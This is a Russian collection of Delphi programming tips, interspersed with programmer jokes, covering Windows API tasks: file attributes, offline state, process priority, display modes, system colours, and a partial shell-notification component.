Статьи по Delphi (009)…
Как узнать или установить аттрибуты файла.
Чтобы прочитать аттрибуты файла, необходимо передать имя файла в функцию FileGetAttr, которая вернёт аттрибуты для данного файла.
Например, добавьте на форму компоненты TButton и TLabel и добавьте следующий код в в обработчик события OnClick кнопки:
var
attr: Integer;
s: string;
begin
attr := FileGetAttr('c:\Autoexec.bat');
if (attr and faHidden) <> 0 then s := 'Hidden';
if (attr and faReadOnly) <> 0 then s := s + 'Read-Only';
if (attr and faSysFile) <> 0 then s := s + 'System';
if (attr and faArchive) <> 0 then s := s + 'Archive';
Label1.Caption := s;
end;
|
Чтобы установить аттрибуты у файла, необходимо передать имя файла и нужные аттрибуты в функцию FileSetAttr. Каждый аттрибут имеет мнемоническое имя, объявленное в юните SysUtils.
Например, чтобы установить файлу системный атрибут, необходимо выполнить следующий код:
Attributes := Attributes or faSystem; |
Так же можно очистить некоторые аттрибуты. Например, чтобы снять атрибуты только чтения и "Скрытый", необходимо выполнить следующий код:
Attributes := Attributes and not (faReadOnly or faHidden); |
Вместо объявленных значений атрибутов можно использовать числовые значения.
+--------------------------------+ | Возвр. знач.| Аттр. Файла | +--------------------------------+ | 128 | Нормальный | | 1 | Только чтение | | 2 | Скрытый | | 4 | Системный | | 32 | Архивный | +-------------+------------------+
Пример:
{Скрытый}
FileSetAttr('C:\Autoexec.bat',2);
{Скрытый и Только чтение. В свою очередь
функция FileGetAttr верн¸т значение 3}
FileSetAttr('C:\Autoexec.bat',3);
|
Установить или получить статус Off-Line.
| Ребенок спрашивает маму: - Мамочка! А почему мой папа не делает мне козу и не шлепает по попке? - Потому что нет у тебя больше папки, - рыдая, сказала мама. - Он купил себе модем и подключился к Интернету! |
{
Users can choose to work offline by selecting Work Offline on the
File menu in Internet Explorer 4.0 and later. When Work Offline is selected,
the system enters a global offline state independent of any current network
connection, and content is read exclusively from the cache.
}
uses wininet;
// Get offline state
// Alhaiseb Misurata Libya
function IsGlobalOffline: Boolean;
var
State, Size: DWORD;
begin
Result := False;
State := 0;
Size := SizeOf(DWORD);
if InternetQueryOption(nil, INTERNET_OPTION_CONNECTED_STATE, @State, Size) then
if (State and INTERNET_STATE_DISCONNECTED_BY_USER) <> 0 then
Result := True;
end;
//Set offline state
procedure SetGlobalOffline(fGoOffline: Boolean);
var
ci: INTERNET_CONNECTED_INFO;
begin
if fGoOffline then
begin
ci.dwConnectedState := INTERNET_STATE_DISCONNECTED_BY_USER;
ci.dwFlags := ISO_FORCE_DISCONNECTED;
end
else
ci.dwConnectedState := INTERNET_STATE_CONNECTED;
InternetSetOption(nil, INTERNET_OPTION_CONNECTED_STATE, @ci, SizeOf(ci));
end;
|
Как получить или установить приоритет процесса в Win9x или Me.
const
ppIdle : Integer = -1;
ppNormal : Integer = 0;
ppHigh : Integer = 1;
ppRealTime : Integer = 2;
function SetProcessPriority( Priority : Integer ) : Integer;
var
H : THandle;
begin
Result := ppNormal;
H := GetCurrentProcess();
if ( Priority = ppIdle ) then
SetPriorityClass( H, IDLE_PRIORITY_CLASS )
else
if ( Priority = ppNormal ) then
SetPriorityClass( H, NORMAL_PRIORITY_CLASS )
else
if ( Priority = ppHigh ) then
SetPriorityClass( H, HIGH_PRIORITY_CLASS )
else
if ( Priority = ppRealTime ) then
SetPriorityClass( H, REALTIME_PRIORITY_CLASS );
case GetPriorityClass( H ) of
IDLE_PRIORITY_CLASS : Result := ppIdle;
NORMAL_PRIORITY_CLASS : Result := ppNormal;
HIGH_PRIORITY_CLASS : Result := ppHigh;
REALTIME_PRIORITY_CLASS : Result := ppRealTime;
end;
end;
function GetProcessPriority : Integer;
var
H : THandle;
begin
Result := ppNormal;
H := GetCurrentProcess();
case GetPriorityClass( H ) of
IDLE_PRIORITY_CLASS : Result := ppIdle;
NORMAL_PRIORITY_CLASS : Result := ppNormal;
HIGH_PRIORITY_CLASS : Result := ppHigh;
REALTIME_PRIORITY_CLASS : Result := ppRealTime;
end;
end;
|
Как использовать:
function SetProcessPriority( Priority : Integer ) : Integer; |
Для установки приоритета Вашего приложения, либо:
function GetProcessPriority : Integer; |
Для получения приоритета.
Как узнать и поменять разрешение экрана.

Узнать можно так:
Screen.Width; Screen.Height; |
А поменять можно с помощью следующей процердуры:
procedure ChangeDisplayResolution(x, y: word); var dm: TDEVMODE; begin ZeroMemory(@dm, sizeof(TDEVMODE)); dm.dmSize := sizeof(TDEVMODE); dm.dmPelsWidth := x; dm.dmPelsHeight := y; dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT; ChangeDisplaySettings(dm, 0); end; |
Определить и выставить значение текстового свойства.
unit StrForm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls;
type
TForm1 = class(TForm)
ButtonGet: TButton;
EditProperty: TEdit;
Label1: TLabel;
Bevel1: TBevel;
ButtonTrial: TButton;
Label2: TLabel;
LabelResult: TLabel;
ButtonSet: TButton;
Label3: TLabel;
EditValue: TEdit;
procedure ButtonGetClick(Sender: TObject);
procedure ButtonSetClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
uses
TypInfo;
procedure TForm1.ButtonGetClick(Sender: TObject);
var
PropInfo: PPropInfo;
begin
if not Assigned (ButtonTrial) then
ShowMessage ('The button has been renamed')
else
begin
PropInfo := GetPropInfo (
ButtonTrial.ClassInfo, EditProperty.Text);
if PropInfo <> nil then
if PropInfo^.PropType^.Kind =
tkLString then
LabelResult.Caption :=
GetStrProp (ButtonTrial, PropInfo)
else
ShowMessage ('Not a string property')
else
ShowMessage ('Property doesn''t exist');
end;
end;
procedure TForm1.ButtonSetClick(Sender: TObject);
var
PropInfo: PPropInfo;
begin
if not Assigned (ButtonTrial) then
ShowMessage ('The button has been renamed')
else
begin
PropInfo := GetPropInfo (
ButtonTrial.ClassInfo, EditProperty.Text);
if PropInfo <> nil then
if PropInfo^.PropType^.Kind =
tkLString then
SetStrProp (ButtonTrial, PropInfo, EditValue.Text)
else
ShowMessage ('Not a string property')
else
ShowMessage ('Property doesn''t exist');
end;
end;
end.
|
Загрузить весь проект
Получить и установить системные цвета.
| Заходит компьютерщик в булочную после бессонной ночи у компьютера, провозивщись с установкой кривой видеокарты и говорит: - Мне, пожалуйста, буханку черно-белого хлеба и батон цветного.... |
var
OldColor: TColor;
Element: TColor = COLOR_BTNFACE;
{....}
{
Set the color for a system element. SetSysColors function
changes the current Windows session only.
The new colors are not saved when Windows terminates.
For a list of color elements see Win32 API Help - Function GetSysColor
Open the ColorDialog - and set the new color systemwide
}
procedure TForm1.Button1Click(Sender: TObject);
begin
if ColorDialog1.Execute then
begin
SetSysColors(1, Element, ColorDialog1.Color);
end;
end;
{
Save the old color value of the element COLOR_BTNFACE to restore on Button2 click
}
procedure TForm1.FormShow(Sender: TObject);
begin
OldColor := GetSysColor(COLOR_BTNFACE);
end;
{
Restore the old color value
Stellt den alten Farbwert wieder her
}
procedure TForm1.Button2Click(Sender: TObject);
begin
SetSysColors(1, Element, OldColor);
end;
|
Получаем и устанавливаем различные режимы видеоадаптера.
| Подарили одному программисту на Новый 1998 год крутую видеокарточку. Ну, естественно, шампанское побоку, ящик пива - и сидит он в новогоднюю ночь, карточку новую ставит. Ставит драйвера, переставляет Винды - не работает девайс... Тут у него за спиной голос: - Ебешься? - Ебусь, - не поднимая головы отвечает программист. - А хочешь по-настоящему? - Хочу! - не поднимая голвы отвечает программист. И сказал Билл Гейтс: - Будет тебе в новом году Windows"98! |
Display Device Modes
При разработке Windows приложения, иногда приходится учитывать тот факт, что оно в будущем будет работать на компьютерах с абсолютно разными мониторами и рабочими разрешениями, установленными на видео адаптере. Поэтому не лишне было бы включить в приложение такую возможность как установка различных разрешений видео адаптера.
В данной статье мы рассмотрим принципы работы с API функцией EnumDisplaySettings, которая позволяет получить список доступных разрешений дисплея, а так же с функцией ChangeDisplaySettings для смены текущего видео-режима.
Получение возможных видео-режимов
Итак, для того, чтобы получить информацию о всех возможных режимах адаптера, нам необходимо сделать серию вызовов функции EnumDisplaySettings. Вызывая эту функцию в цикле мы будем каждый раз получать доступный режим, до тех пор пока результат функции не станет отличным от True.
Данная функция имеет на входе переменную типа TDevMode, в которой помещаются параметры. Сам тип TDevMode имеет множество переменных, относящихся к видео адаптеру. А именно, он включает в себя разрешение видео адаптера в пикселях (dmPelsWidth, dmPelsHeight), разрядность цвета (в битах на пиксель), поддерживаемая при данном разрешении (dmBitsPerPel), частота обновления (dmDisplayFrequency) и другие.
procedure TForm1.FormCreate(Sender: TObject);
var
i: Integer;
DevMode: TDevMode;
begin
i:=0;
while EnumDisplaySettings(nil,i,DevMode) do
begin
with Devmode do
ListBox1.Items.Add(Format('%dx%d %d Colors',
[dmPelsWidth,dmPelsHeight,1 shl dmBitsperPel]));
Inc(i);
end;
end;
|
Установка видео-режима
После того как мы получим все доступные режимы, то установить желательный не составляет особого труда. Для этого мы воспользуемся функцией ChangeDisplaySettings. Так же данная функция при необходимости обновит реестр Windows.
procedure TForm1.Button1Click(Sender: TObject);
var
DevMode: TDeviceMode;
liRetValue: Longint;
begin
if EnumDisplaySettings(nil,Listbox1.ItemIndex,Devmode) then
liRetValue := ChangeDisplaySettings(DevMode, CDS_UPDATEREGISTRY);
SendMessage(HWND_BROADCAST, WM_DISPLAYCHANGE, SPI_SETNONCLIENTMETRICS, 0);
end;
|
Функция ChangeDisplaySettings возвращает значение long integer. Это значение можно использовать для определения успешности выполнения функции, сравнив со значениями из списка констант.
Внимание: Не рекомендуется устанавливать значение видео-режима, который не присутствует в списке доступных. Это может привести к мерцанию экрана либо вообще к исчезновению изображения.
Внимание: Многие адаптеры (особенно старые) могут не поддерживать смену разрешения без перезагрузки компьютера.
Внимание: SendMessage используется для того, чтобы информировать все окна о смене видео-режима.
Отслеживание изменений дисплея
Для отслеживания изменений необходимо создать обработчик для перехвата сообщения WM_DISPLAYCHANGE. Обычно данный приём используется в случае, если приложения использует в своей работе графику, и его необходимо перезагрузить для смены разрешения, разрядности цвета и т.д.
...
type
TForm1 = class(TForm)
ListBox1: TListBox;
...
private
procedure WMDisplayChange(var message:TMessage); message WM_DISPLAYCHANGE;
...
procedure TForm1.WMDisplayChange(var message: TMessage);
begin
ShowMessage('Changes in display detected!');
inherited;
end;
|

Получение и установка видеорежимов в Windows.
| - Дело в том, - говорит автолюбитель постовому, - что я программист. - Теперь понятно, почему ваш талон похож на перфокарту. |
При разработке приложений, которые затем будут использоваться на большом числе различных ПК очень полезно иметь возможность не только получения информации о текущем видеорежиме, но и возможность получить все доступные видеорежимы для данного ПК. Еще одна область, где используется переключение видеорежимов при написании игр без использования DirectX.
Получение списка видеорежимов
Получить видеорежимы можно серией вызовов EnumDisplaySettings. Функция EnumDisplaySettings возвращает информацию о видеорежиме, указанном в параметре IModeNode. Функции необходимо передать структуру типа TDevMode, в которую будет записана информация о видеорежиме. Данная структура имеет поля, характеризующие видеорежим: разрешение (dmPelsWidth, dmPelsHeight), количество битов цветности (dmBitsPerPel), частота обновления экрана (dmDisplayFrequency) и др.
function EnumDisplaySettings(lpszDeviceName: PWideChar; iModeNum: DWORD; var lpDevMode: TdeviceMode): BOOL; stdcall; |
Параметры.
lpszDeviceName Указатель на нуль-терминальную строку, определяющую экранное устройство, видеорежимы которого мы хотим получить. В Windows 95 and 98 (и в наших приложениях :)) ), lpszDeviceName должно быть равно Nil. iModeNum Номер видеорежима lpDevMode Структура, в которой будет возвращена информация о видеорежиме. Структура довольно сложна и используется не только для видео устройств, но нам понадобятся только следующие ее поля.Поле Описание.
DmBitsPerPel Количество бит на пиксел DmPelsWidth Ширина в пикселях DmPelsHeight Высота в пикселях DmDisplayFlags DM_GRAYSCALE - Черно-белое устройство DM_INTERLACED - Черезстрочная развертка. Если флаг не установлен, подразумевается построчная развертка dmDisplayFrequency Частота обновления экрана DmPosition Windows 98, Windows 2000: Номер монитора для конфигураций с несколькими мониторами DmFields Поле dmFields используется при смене видеорежима для указания, какие именно из параметров устройства мы хотим изменить. Каждый бит поля определяет необходимость смены одного из параметров. Возможные значения: DM_BITSPERPEL - Изменить количество бит на пиксель на значение указанное в поле dmBitsPerPel. DM_PELSWIDTH - Изменить ширинку экрана на значение указанное в поле dmPelsWidth. DM_PELSHEIGHT - Изменить выстоу экрана на значение указанное в поле dmPelsHeight DM_DISPLAYFLAGS - Изменить флаги. DM_DISPLAYFREQUENCY - Изменить частоту обновления dmDisplayFrequency. DM_POSITION - Windows 98, Windows 2000: изменить номер монитора.Если lpDevMode равно nil, из реестра берется информация о видеорежиме установленном по умолчанию. Передавая в lpDevMode nil и в dwFlags 0 можно получить настройки текущего видеорежима.
Ниже приведена процедура, получающая и отображающая в ListBox все возможные видеорежимы.
procedure TForm1.FormCreate(Sender: TObject);
var
i: Integer;
DevMode : TDeviceMode;
begin
i:=0;
while EnumDisplaySettings(nil,i,DevMode) do
begin
with Devmode do
ListBox1.Items.Add(Format('%dx%d %d Colors',
[dmPelsWidth,dmPelsHeight,Int64(1) shl dmBitsperPel]));
Inc(i);
end;
end;
|
Получение параметров текущего видеорежима
Помимо вызова EnumDisplaySettings инфомацию о текущем видеорежиме можно получать и другими способами.Получить количество битов цвета текущего видеорежима можно и другим способом:
GetDeviceCaps(Form1.Canvas.Handle, BITSPIXEL) * GetDeviceCaps(Form1.Canvas.Handle, PLANES) |
Получаемые значения при этом:
1 = 2 бита на точку 4 = 16 бита на точку 8 = 256 бита на точку 15 = 32768 бита на точку (возвркащает 16 для большинства драйверов экранных устройств) 16 = 65535 бита на точку 24 = 16,777,216 бита на точку 32 = 16,777,216 бита на точку (то же 24)Непосредственно количество цветов можно так же легко подсчитать:
NumberOfColors := (1 shl (GetDeviceCaps(Form1.Canvas.Handle, BITSPIXEL) * GetDeviceCaps(Form1.Canvas.Handle, PLANES)); |
Текущее разрешение экрана можно узнать с помощью вызова GetSystemMetrics() в качестве параметров передается:
SM_CXSCREEN высота рабочей области экрана в пикселах SM_CYSCREEN ширина рабочей области экрана в пикселах SM_CXFULLSCREEN высота всей экранной области в пикселах SM_CYFULLSCREEN ширина всей экранной области в пикселахНиже приведен пример получения высоты и ширины рабочей области экрана (для всей экранной области надо просто поменять параметры вызова GetSystemMetrics):
var
x, y: Integer;
Mode: string;
begin
x:=GetSystemMetrics(Sm_Cxscreen);
y:=GetSystemMetrics(Sm_CYscreen);
Mode:=Format('%d x %d',[x,y]);
if y=480 then
Mode:=Mode+('Standard VGA')
else
Mode:=Mode+('Super VGA');
StaticText1.Caption:=Mode;
end;
|
Установка видеорежима
Как мы убедились получения списка и параметров видеорежимов не проблема. Теперь разберемся с программной сменой видеорежимов. Функция ChangeDisplaySettings предназначена для изменения текущего видеорежима экрана и при необходимости обновления этой информации в реестре Windows.
function ChangeDisplaySettings(var lpDevMode: TDeviceMode; dwFlags: DWORD): Longint; stdcall; |
Параметры:
lpDevMode Структура с описанием видеорежима, на который мы хотим переключиться. Поля структуры были рассмотрены ранее. dwFlags Определяет как будет изменен видеорежим. 0 - Немедленное изменение видеорежима. Установка данного флага возвращает в видеорежим по умолчанию, установленному в реестре, если он был изменен с применением флага CDS_FULLSCREEN, при этом первый параметр функции должен быть nil и флаги равны 0. CDS_UPDATEREGISTRY - Видеорежим будет изменен немедленно и информация записана в реестр в пользовательский профиль. CDS_TEST - Запрос теста видеорежима средствами Windows CDS_FULLSCREEN - Установка видеорежима временна. CDS_GLOBAL - Видеорежим будет изменен для всех пользователей данной машины. Иначе видеорежим меняется только для текущего пользователя. Используется вместе с флагом CDS_UPDATEREGISTRY. CDS_SET_PRIMARY - Видеорежим становится первичным. CDS_RESET - Параметры видеорежима будут изменены, даже если совпадают с текущими. CDS_NORESET - Изменения будут записаны в реестр, но не вступят в силу. Используется с флагом CDS_UPDATEREGISTRY Возвращаемое значение: DISP_CHANGE_SUCCESSFUL Изменения прошли успешно. DISP_CHANGE_RESTART Необходима перезагрузка для вступления изменений в силу DISP_CHANGE_BADFLAGS Передан неверный набор флагов DISP_CHANGE_BADPARAM Неверные параметры. DISP_CHANGE_FAILED Драйвер видеоустройства не смог установить режим DISP_CHANGE_BADMODE Видеорежим не поддерживается DISP_CHANGE_NOTUPDATED Windows NT/2000: Ошибка записи в реестрПри немедленном изменении видеорежима всем запущенным приложениям рассылается сообщение WM_DISPLAYCHANGE.
А вот и пример смены видеорежима:
{...}
type
TForm1 = class(TForm)
Button1: TButton;
ListView1: TListView;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure ListView1DblClick(Sender: TObject);
private
{ Private declarations }
{Массив для хранения информации о видеорежимах}
DevMode : array[0..20] of TDeviceMode;
public
{ Public declarations }
end;
{...}
procedure TForm1.FormCreate(Sender: TObject);
begin
{Настройка ListView}
ListView1.ViewStyle := vsReport;
ListView1.RowSelect := TRUE;
ListView1.Columns.Add;
ListView1.Columns.Add;
ListView1.Columns[0].Caption := 'Width x Height';
ListView1.Columns[0].Width := 100;
ListView1.Columns[1].Caption := 'Colors';
ListView1.Columns[1].Width := 100;
end;
{Процедура получения списка режимов}
procedure TForm1.Button1Click(Sender: TObject);
var
tmpStr1, tmpStr2 : string;
tmpDC : HDC;
x, Selection, cxScreen, cyScreen, Resolution : Integer;
begin
{ Запоминаем текущие настройки}
tmpDC := getDC(Handle);
try
cxScreen := GetSystemMetrics(SM_CXSCREEN);
cyScreen := GetSystemMetrics(SM_CYSCREEN);
Resolution := GetDeviceCaps(tmpDC, BITSPIXEL);
finally
ReleaseDC(Handle, tmpDC);
end;
ListView1.Items.Clear;
x := 0;
{ Получаем список видеорежимов}
while EnumDisplaySettings(nil,x,DevMode[x]) do
begin
{ Разрешение экрана }
tmpStr1 := IntToStr(DevMode[x].dmPelsWidth) + 'x' +
IntToStr(DevMode[x].dmPelsHeight);
{ Цвета }
case DevMode[x].dmBitsPerPel of
4 : tmpStr2 := '16 Colors';
8 : tmpStr2 := '256 Colors';
16 : tmpStr2 := 'High Color (16 Bit)';
32 : tmpStr2 := 'True Color (32 Bit)';
end;
{ А теперь полученную информацию надо отобразить }
with ListView1.Items.Add do
begin
Caption := tmpStr1;
SubItems.Add(tmpStr2);
end;
{ В ListView надо встать не строку с описанием текущего режима,
для этого сохраним индекс элемента с описанием этого режима }
if ( cxScreen = DevMode[x].dmPelsWidth ) and
( cyScreen = DevMode[x].dmPelsHeight ) and
( Resolution = DevMode[x].dmBitsPerPel ) then
Selection := x;
inc(x);
if x = 20 then
Break;
end;
{ В ListView перемещаемся на строчку с описанием текущего режима }
ActiveControl := ListView1;
ListView1.Selected := ListView1.Items.Item[Selection];
end;
{Установка выбранного пользователем видеорежима}
procedure TForm1.ListView1DblClick(Sender: TObject);
var
tmpDevMode : TDevMode;
begin
{ Получаем сохраненную ранее информацию по выбранному режиму}
tmpDevMode := DevMode[ListView1.Items.IndexOf(ListView1.Selected)];
{ Скажем Windows, какие параметры надо сменить }
tmpDevMode.dmFields := DM_BITSPERPEL or DM_PELSWIDTH or
DM_PELSHEIGHT or DM_DISPLAYFLAGS or DM_DISPLAYFREQUENCY;
{ Очень неплохо будет протестировать видеорежим
и записать изменения в реестр}
if ChangeDisplaySettings(tmpDevMode, CDS_TEST) =
DISP_CHANGE_SUCCESSFUL then
ChangeDisplaySettings(tmpDevMode, CDS_UPDATEREGISTRY);
end;
|
Замечание 1: Не рекомендуется устанавливать видеорежимы, отличные от полученных вызовами EnumDisplaySettings. Возможна ситуация, когда пользователь вместо рабочего стола увидит лишь черный экран.
Замечание 2: Многие драйвера, особенно старые не поддерживают изменения видеорежима без перезагрузки компьютера.
Обнаружение изменений видеорежима
При изменениях видеорежима генерируется сообщение WM_DISPLAYCHANGE. Необходимо создать обработчик данного сообщения в вашем приложении.
...
type
TForm1 = class(TForm)
ListBox1: TListBox;
...
private
procedure WMDisplayChange(var message:TMessage); message WM_DISPLAYCHANGE;
...
procedure TForm1.WMDisplayChange(var message: TMessage);
begin
ShowMessage('Changes in display detected!');
inherited;
end;
|
Получить или установить задний фон в TWebBrowser.
| Наш файервалл надежно зашищает внешний мир от нас. |
//You need a TWebbrowser and 3 TButtons
// First load a page
procedure TForm1.Button1Click(Sender: TObject);
begin
WebBrowser1.Navigate('www.SwissDelphiCenter.com');
end;
// Show the background color
// Hintergrundfarbe herausfinden
procedure TForm1.Button2Click(Sender: TObject);
begin
ShowMessage(WebBrowser1.OleObject.Document.bgColor);
end;
// Set the background color
procedure TForm1.Button3Click(Sender: TObject);
begin
WebBrowser1.OleObject.Document.bgColor := '#000000';
end;
|
Получение уведомлений от оболочки (Shell).
| Автор: maniac_n@hotmail.com |
| Программер играет в шахматы с компьютером и получает мат на 15 ходу. В сердцах бьет по клавиатуре: - Проклятый виндоз, опять глючит. |
Пример показывает - как можно отслеживать практически все события происходящий в Вашей оболочке. Код находится в процессе разработки, но уже содержит в себе большое количество возможностей.
{$IFNDEF VER80} {$IFNDEF VER90} {$IFNDEF VER93}
{$DEFINE Delphi3orHigher}
{$ENDIF} {$ENDIF} {$ENDIF}
unit ShellNotify;
interface
uses
Windows, Messages, SysUtils, Classes, Controls, Forms, Dialogs,
{$IFNDEF Delphi3orHigher} OLE2, {$ELSE} ActiveX, ComObj, {$ENDIF}
ShlObj;
type
NOTIFYREGISTER = record
pidlPath : PItemIDList;
bWatchSubtree : boolean;
end;
PNOTIFYREGISTER = ^NOTIFYREGISTER;
const
SNM_SHELLNOTIFICATION = WM_USER +1;
SHCNF_ACCEPT_INTERRUPTS = $0001;
SHCNF_ACCEPT_NON_INTERRUPTS = $0002;
SHCNF_NO_PROXY = $8000;
type
TNotificationEvent = (neAssociationChange, neAttributesChange,
neFileChange, neFileCreate, neFileDelete, neFileRename,
neDriveAdd, neDriveRemove, neShellDriveAdd, neDriveSpaceChange,
neMediaInsert, neMediaRemove, neFolderCreate, neFolderDelete,
neFolderRename, neFolderUpdate, neNetShare, neNetUnShare,
neServerDisconnect, neImageListChange);
TNotificationEvents = set of TNotificationEvent;
TShellNotificationEvent1 = procedure(Sender: TObject;
Path: string)of object;
TShellNotificationEvent2 = procedure(Sender: TObject;
path1, path2: string) of object;
// TShellNotificationAttributesEvent = procedure(Sender: TObject;
// OldAttribs, NewAttribs: Integer) of Object;
TShellNotification = class( TComponent )
private
fWatchEvents: TNotificationEvents;
fPath: string;
fActive, fWatch: Boolean;
prevPath1, prevPath2: string;
PrevEvent: Integer;
Handle, NotifyHandle: HWND;
fOnAssociationChange: TNotifyEvent;
fOnAttribChange: TShellNotificationEvent2;
FOnCreate: TShellNotificationEvent1;
FOnDelete: TShellNotificationEvent1;
FOnDriveAdd: TShellNotificationEvent1;
FOnDriveAddGui: TShellNotificationEvent1;
FOnDriveRemove: TShellNotificationEvent1;
FOnMediaInsert: TShellNotificationEvent1;
FOnMediaRemove: TShellNotificationEvent1;
FOnDirCreate: TShellNotificationEvent1;
FOnNetShare: TShellNotificationEvent1;
FOnNetUnShare: TShellNotificationEvent1;
FOnRenameFolder: TShellNotificationEvent2;
FOnItemRename: TShellNotificationEvent2;
FOnFolderRemove: TShellNotificationEvent1;
FOnServerDisconnect: TShellNotificationEvent1;
FOnFolderUpdate: TShellNotificationEvent1;
function PathFromPidl(Pidl: PItemIDList): string;
procedure SetWatchEvents(const Value: TNotificationEvents);
function GetActive: Boolean;
procedure SetActive(const Value: Boolean);
procedure SetPath(const Value: string);
procedure SetWatch(const Value: Boolean);
protected
procedure ShellNotifyRegister;
procedure ShellNotifyUnregister;
procedure WndProc(var message: TMessage);
procedure DoAssociationChange; dynamic;
procedure DoAttributesChange(Path1, Path2: string); dynamic;
procedure DoCreateFile(Path: string); dynamic;
procedure DoDeleteFile(Path: string); dynamic;
procedure DoDriveAdd(Path:string); dynamic;
procedure DoDriveAddGui(Path: string); dynamic;
procedure DoDriveRemove(Path: string); dynamic;
procedure DoMediaInsert(Path: string); dynamic;
procedure DoMediaRemove(Path: string); dynamic;
procedure DoDirCreate(Path: string); dynamic;
procedure DoNetShare(Path: string); dynamic;
procedure DoNetUnShare(Path: string); dynamic;
procedure DoRenameFolder(Path1, Path2: string); dynamic;
procedure DoRenameItem(Path1, Path2: string); dynamic;
procedure DoFolderRemove(Path: string); dynamic;
procedure DoServerDisconnect(Path: string); dynamic;
procedure DoDirUpdate(Path: string); dynamic;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
published
property Path: string read fPath write SetPath;
property Active: Boolean read GetActive write SetActive;
property WatchSubTree: Boolean read fWatch write SetWatch;
property WatchEvents: TNotificationEvents
read fWatchEvents write SetWatchEvents;
property OnAssociationChange: TNotifyEvent
read fOnAssociationChange write FOnAssociationChange;
property OnAttributesChange: TShellNotificationEvent2
read fOnAttribChange write fOnAttribChange;
property OnFileCreate: TShellNotificationEvent1
read FOnCreate write FOnCreate;
property OnFolderRename: TShellNotificationEvent2
read FOnRenameFolder write FOnRenameFolder;
property OnFolderUpdate: TShellNotificationEvent1
read FOnFolderUpdate write FOnFolderUpdate;
property OnFileDelete: TShellNotificationEvent1
read FOnDelete write FOnDelete;
property OnDriveAdd: TShellNotificationEvent1
read FOnDriveAdd write FOnDriveAdd;
property OnFolderRemove: TShellNotificationEvent1
read FOnFolderRemove write FOnFolderRemove;
property OnItemRename: TShellNotificationEvent2
read FOnItemRename write FOnItemRename;
property OnDriveAddGui: TShellNotificationEvent1
read FOnDriveAddGui write FOnDriveAddGui;
property OnDriveRemove: TShellNotificationEvent1
read FOnDriveRemove write FOnDriveRemove;
property OnMediaInserted: TShellNotificationEvent1
read FOnMediaInsert write FOnMediaInsert;
property OnMediaRemove: TShellNotificationEvent1
read FOnMediaRemove write FOnMediaRemove;
property OnDirCreate: TShellNotificationEvent1
read FOnDirCreate write FOnDirCreate;
property OnNetShare: TShellNotificationEvent1
read FOnNetShare write FOnNetShare;
property OnNetUnShare: TShellNotificationEvent1
read FOnNetUnShare write FOnNetUnShare;
property OnServerDisconnect: TShellNotificationEvent1
read FOnServerDisconnect write FOnServerDisconnect;
end;
function SHChangeNotifyRegister( hWnd: HWND; dwFlags: integer;
wEventMask : cardinal; uMsg: UINT; cItems : integer;
lpItems : PNOTIFYREGISTER) : HWND; stdcall;
function SHChangeNotifyDeregister(hWnd: HWND) : boolean; stdcall;
function SHILCreateFromPath(Path: Pointer; PIDL: PItemIDList;
var Attributes: ULONG):HResult; stdcall;
implementation
const Shell32DLL = 'shell32.dll';
function SHChangeNotifyRegister; external Shell32DLL index 2;
function SHChangeNotifyDeregister; external Shell32DLL index 4;
function SHILCreateFromPath; external Shell32DLL index 28;
{ TShellNotification }
constructor TShellNotification.Create(AOwner: TComponent);
begin
inherited Create( AOwner );
if not (csDesigning in ComponentState) then
Handle := AllocateHWnd(WndProc);
end;
destructor TShellNotification.Destroy;
begin
if not (csDesigning in ComponentState) then
Active := False;
if Handle <> 0 then
DeallocateHWnd( Handle );
inherited Destroy;
end;
procedure TShellNotification.DoAssociationChange;
begin
if Assigned( fOnAssociationChange ) and
(neAssociationChange in fWatchEvents) then
fOnAssociationChange( Self );
end;
procedure TShellNotification.DoAttributesChange;
begin
if Assigned( fOnAttribChange ) then
fOnAttribChange( Self, Path1, Path2 );
end;
procedure TShellNotification.DoCreateFile(Path: string);
begin
if Assigned( fOnCreate ) then
FOnCreate(Self, Path)
end;
procedure TShellNotification.DoDeleteFile(Path: string);
begin
if Assigned( FOnDelete ) then
FOnDelete(Self, Path);
end;
procedure TShellNotification.DoDirCreate(Path: string);
begin
if Assigned( FOnDirCreate ) then
FOnDirCreate( Self, Path );
end;
procedure TShellNotification.DoDirUpdate(Path: string);
begin
if Assigned( FOnFolderUpdate ) then
FOnFolderUpdate(Self, Path);
end;
procedure TShellNotification.DoDriveAdd(Path: string);
begin
if Assigned( FOnDriveAdd ) then
FOnDriveAdd(Self, Path);
end;
procedure TShellNotification.DoDriveAddGui(Path: string);
begin
if Assigned( FOnDriveAddGui ) then
FOnDriveAdd(Self, Path);
end;
procedure TShellNotification.DoDriveRemove(Path: string);
begin
if Assigned( FOnDriveRemove ) then
FOnDriveRemove(Self, Path);
end;
procedure TShellNotification.DoFolderRemove(Path: string);
begin
if Assigned(FOnFolderRemove) then
FOnFolderRemove( Self, Path );
end;
procedure TShellNotification.DoMediaInsert(Path: string);
begin
if Assigned( FOnMediaInsert ) then
FOnMediaInsert(Self, Path);
end;
procedure TShellNotification.DoMediaRemove(Path: string);
begin
if Assigned(FOnMediaRemove) then
FOnMediaRemove(Self, Path);
end;
procedure TShellNotification.DoNetShare(Path: string);
begin
if Assigned(FOnNetShare) then
FOnNetShare(Self, Path);
end;
procedure TShellNotification.DoNetUnShare(Path: string);
begin
if Assigned(FOnNetUnShare) then
FOnNetUnShare(Self, Path);
end;
procedure TShellNotification.DoRenameFolder(Path1, Path2: string);
begin
if Assigned( FOnRenameFolder ) then
FOnRenameFolder(Self, Path1, Path2);
end;
procedure TShellNotification.DoRenameItem(Path1, Path2: string);
begin
if Assigned( FOnItemRename ) then
FonItemRename(Self, Path1, Path2);
end;
procedure TShellNotification.DoServerDisconnect(Path: string);
begin
if Assigned( FOnServerDisconnect ) then
FOnServerDisconnect(Self, Path);
end;
function TShellNotification.GetActive: Boolean;
begin
Result := (NotifyHandle <> 0) and (fActive);
end;
function TShellNotification.PathFromPidl(Pidl: PItemIDList): string;
begin
SetLength(Result, Max_Path);
if not SHGetPathFromIDList(Pidl, PChar(Result)) then
Result := '';
if pos(#0, Result) > 0 then
SetLength(Result, pos(#0, Result));
end;
procedure TShellNotification.SetActive(const Value: Boolean);
begin
if (Value <> fActive) then
begin
fActive := Value;
if fActive then
ShellNotifyRegister
else
ShellNotifyUnregister;
end;
end;
